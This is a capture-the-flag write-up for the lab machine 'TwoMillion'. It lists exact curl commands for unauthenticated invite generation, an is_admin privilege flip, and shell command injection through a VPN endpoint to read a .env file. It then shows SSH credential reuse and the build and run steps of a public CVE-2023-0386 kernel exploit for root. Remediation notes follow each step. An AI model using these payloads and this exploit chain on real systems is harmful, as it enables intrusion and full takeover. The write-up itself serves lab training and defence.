TwoMillion
Summary
I called an open, unauthenticated API endpoint to generate a valid invite code, registered a new account, then exploited a missing server-side authorization check to promote that account to administrator. The admin-only VPN-generation endpoint concatenated user input directly into a shell command without sanitization, enabling OS command injection. I used that injection to read the application's .env configuration file, which stored the database password in plaintext.
That same password was reused as the SSH login credential for the local 'admin' system account, granting an interactive shell. From that foothold, I deployed a public exploit for CVE-2023-0386, a Linux kernel OverlayFS SUID privilege-escalation bug, to gain a root shell and capture both flags.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"
export PASSWORD4="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
nmap -sV -sC -p 22,80 --min-rate 5000 $TARGETcurl -sI http://$TARGETecho "$TARGET 2million.htb" >> /etc/hostsExact commands 2
curl -sS -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/invite/generate"echo '$PASSWORD3' | base64 -dFixRequire authentication to generate invite codesHigh
Exact commands 4
curl -sS -c /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/user/register" -H 'Content-Type: application/json' -d '{"username":"$USERNAME","email":"$USERNAME@htb.local","password":"$PASSWORD2","code":"$PASSWORD4"}'curl -sS -c /tmp/cj -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/user/login" -H 'Content-Type: application/json' -d '{"email":"$USERNAME@htb.local","password":"$PASSWORD2"}'curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X PUT "http://$TARGET/api/v1/admin/settings/update" -H 'Content-Type: application/json' -d '{"email":"$USERNAME@htb.local","is_admin":1}'curl -sS -b /tmp/cj -H 'Host: 2million.htb' "http://$TARGET/api/v1/admin/auth"FixEnforce server-side authorization on all administrative API endpointsCritical
Exact commands 2
curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/admin/vpn/generate" -H 'Content-Type: application/json' -d '{"username":"$USERNAME; id #"}'curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/admin/vpn/generate" -H 'Content-Type: application/json' -d '{"username":"$USERNAME; cat /var/www/html/.env #"}'FixEliminate OS command injection in the VPN-generation endpointCritical
Exact commands 1
curl -sS -b /tmp/cj -H 'Host: 2million.htb' -X POST "http://$TARGET/api/v1/admin/vpn/generate" -H 'Content-Type: application/json' -d '{"username":"$USERNAME; grep -E \"DB_|ADMIN\" /var/www/html/.env #"}'FixRemove plaintext secrets from web-accessible files and eliminate credential reuseHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 admin@$TARGET 'id; hostname; cat /home/admin/user.txt'Exact commands 3
git clone https://github.com/sxlmnwb/CVE-2023-0386 /tmp/CVE-2023-0386 && cd /tmp/CVE-2023-0386 && makesshpass -p "$PASSWORD" scp -r /tmp/CVE-2023-0386 admin@$TARGET:/tmp/sshpass -p "$PASSWORD" ssh -tt -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null admin@$TARGET 'cd /tmp/CVE-2023-0386; rm -f /tmp/rootbash /tmp/fuse.log; ./fuse ./ovlcap/lower ./gc > /tmp/fuse.log 2>&1 & FPID=$!; sleep 2; ./exp 2>&1; /tmp/rootbash -p -c "id; cat /root/root.txt"; kill $FPID'FixApply kernel security patches to remediate CVE-2023-0386 (OverlayFS SUID escalation)Critical
Attack patterns used
The transferable techniques behind this compromise.
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.